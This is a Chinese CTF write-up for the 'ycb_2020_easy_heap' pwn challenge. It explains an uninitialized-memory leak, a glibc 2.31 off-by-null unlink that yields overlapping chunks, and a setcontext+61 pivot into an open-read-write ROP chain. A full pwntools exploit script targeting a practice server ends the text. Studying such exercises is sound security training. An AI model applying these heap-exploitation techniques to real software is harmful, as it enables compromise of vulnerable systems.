文章目录
- 前置知识
- 整体思路
- 高版本的off-by-null
- orw
 
- exp
前置知识
-  未初始化内存导致的地址泄露 
-  高版本下的 off-by-null利用
-  glibc2.31下的orw做法
整体思路
非常综合的一道题目,和ciscn之前做过的一道silverwolf很相似,本道题目的glibc2.31的环境也让我这个只做过glibc2.27下的学到了很多。
分析程序,开启了沙盒,只禁用了execve。
存在一个off-by-null可以利用。此外本题是add和edit分开的,而且没有对申请到的内存清零,那么可以直接泄露想要的libc和heap地址。
这道题目我认为可以分为三个部分,每一个部分都非常有意思:
- 通过未初始化内存泄露libc地址和堆地址:
- 通过高版本的off-by-null来获得重叠指针
- 通过setcontext+61和一个rdx的gadget结合使用,来orw读取flag
这里我不会直接分析这个题目的做法,因为我认为这个题的每个部分对于刚接触这部分知识的师傅们有难度,但是熟悉了就比较白给,因此我会略微介绍每个部分的知识点,并放上参考文章,主要针对off-by-null和orw。
假如师傅们有疑问,欢迎私信我: )。
高版本的off-by-null
构造如下图所示:

可能比较难以理解,我们详细、分步地解释:
注意,若我没有写对某个堆块free,那么它没有被free。此外,我们需要提前泄露堆地址,保证每个堆块地址可知。
我们有三个chunk,分别是chunk1、chunk2、chunk3,其中chunk3是个large chunk,大小为0x500,另外两个为大小为0x30的chunk。
- 我们通过chunk2写chunk3的prev_size等于0x50,并off-by-null将chunk3的prev_in_use置为0。
- 正常情况的unlink我们需要知道一个指向合并后堆块的指针,那么我们在chunk2中写一个合并后堆块的地址,也就是在addr2处写一个addr1。
- 在chunk1中构造fake chunk,fake chunk的size为fake chunk + chunk2的大小,这里为0x51
- fake chunk的- fd为- addr2-0x18,而- bk为- addr2-0x10,因为- addr2存放的是它自己的地址,是个指向它自己的指针,绕过- unlink安全检查。
- free掉- chunk3,此时通过- chunk3的- prev_size来找到- fake chunk,将- fake chunk进行- unlink,从而导致- chunk1-3合并为一个。
- 还需要注意的就是,glibc2.29下,从tcache中获得chunk还会检查对应tcache bin的count是否大于0,大于0才可以申请。因此需要事先释放一个对应大小的chunk。
- 此时三个chunk会合并到fake chunk的位置而不是chunk1的位置。申请回一个大于fake chunk + chunk1大小的chunk,即可编辑chunk2,获得了chunk2的重叠指针。
参考文章:
高版本libc下的off by null_glibc高版本offbynull模板-CSDN博客
【八芒星计划】 OFF BY NULL_balsn_ctf_2019-plaintext-CSDN博客
BUUCTF\ ycb_2020_easy_heap - LynneHuan - 博客园 (cnblogs.com)
orw
【八芒星计划】 ORW-CSDN博客
setcontext+orw - 狒猩橙 - 博客园 (cnblogs.com)
[原创]CISCN2021 sliverwolf PWN400-Pwn-看雪-安全社区|安全招聘|kanxue.com****
exp
from pwn import *
from LibcSearcher import *
filename = './ycb_2020_easy_heap'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc
if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 28219)
def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()
choice_words = 'Choice:'
menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''
menu_del = 3
del_index_words = 'Index: '
menu_show = 4
show_index_words = 'Index: '
menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = ''
edit_content_words = 'Content: \n'
def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)
def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
# -- 第一部分,泄露堆地址和libc地址 --
add(size=0x20) # 0
add(size=0x20) # 1
delete(index=0)
delete(index=1)
add(size=0x20) # 0
show(index=0)
sh.recvuntil('Content: ')
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_leak', heap_leak)
heap_base = heap_leak - 0x2a0
leak_info('heap_base', heap_base)
add(size=0x20) # 1
add(size=0x450) # 2
add(size=0x20) # 3
delete(index=2)
add(size=0x450) # 2
show(index=2)
sh.recvuntil('Content: ')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x1eabe0
leak_info('libc.address', libc.address)
# -- 第二部分,通过off-by-null构造unlink --
add(size=0x28) # 4
add(size=0x28) # 5
add(size=0x4f0) # 6
add(size=0x20) # 7
fake_chunk_addr = heap_base + 0x790
merge_addr = heap_base + 0x7c0
payload = p64(0) + p64(0x51) + p64(merge_addr - 0x18) + p64(merge_addr - 0x10)
edit(index=4, content=payload)
payload = p64(fake_chunk_addr).ljust(0x20, b'\x00') + p64(0x50)
edit(index=5, content=payload)
delete(index=7) # 提前释放一个大小为0x30的chunk,因为glibc2.30中不允许tcache的count为0时从tcache中申请chunk
delete(index=6) # 触发off-by-null的unlink
# -- 第三部分,重新申请回chunk,构造重叠指针,利用重叠指针修改free_hook为rdx的gadget,然后布置一系列堆块备用
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
add(size=0x100) # 6
payload = b'a'*0x18 + p64(0x31)
edit(index=6, content=payload)
delete(index=5)
payload = b'a'*0x18 + p64(0x31) + p64(libc.sym['__free_hook'])
edit(index=6, content=payload)
add(size=0x28) # 5
add(size=0x28) # 7, free_hook
add(size=0x430) # 8
add(size=0xf0) # 9
add(size=0xf0) # 10
# -- 第四部分,将free_hook设置为这个gadget,通过这个gadget将rdx设置为另一个堆块地址,另一个堆块地址存放各个寄存器的值,同时rip设置为setcontext+61
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget_addr = libc.address + 0x154b90
orw_addr = heap_base + 0x8b0
setcontext = libc.sym['setcontext'] + 61
delete_chunk_addr = heap_base + 0xd20
set_chunk_addr = heap_base + 0xe20
ret_addr = libc.address + 0xbfb1b
edit(index=7, content=p64(gadget_addr))
edit(index=5, content=b'/flag\x00')
payload = p64(0) + p64(set_chunk_addr)
edit(index=9, content=payload)
payload = b'\x00'.ljust(0x20, b'\x00') + p64(setcontext)
payload = payload.ljust(0xa0, b'\x00') + p64(orw_addr) + p64(ret_addr)
edit(index=10, content=payload)
pop_rax = 0x28ff4 + libc.address
pop_rdi = 0x26bb2 + libc.address
pop_rsi = 0x2709c + libc.address
pop_rdx_r12 = 0x11c421 + libc.address
syscall_addr_ret = 0x66199 + libc.address
str_flag_addr = heap_base + 0x7c0
orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(str_flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)
edit(index=8, content=orw)
delete(index=9)
print(sh.recv().strip().decode())



















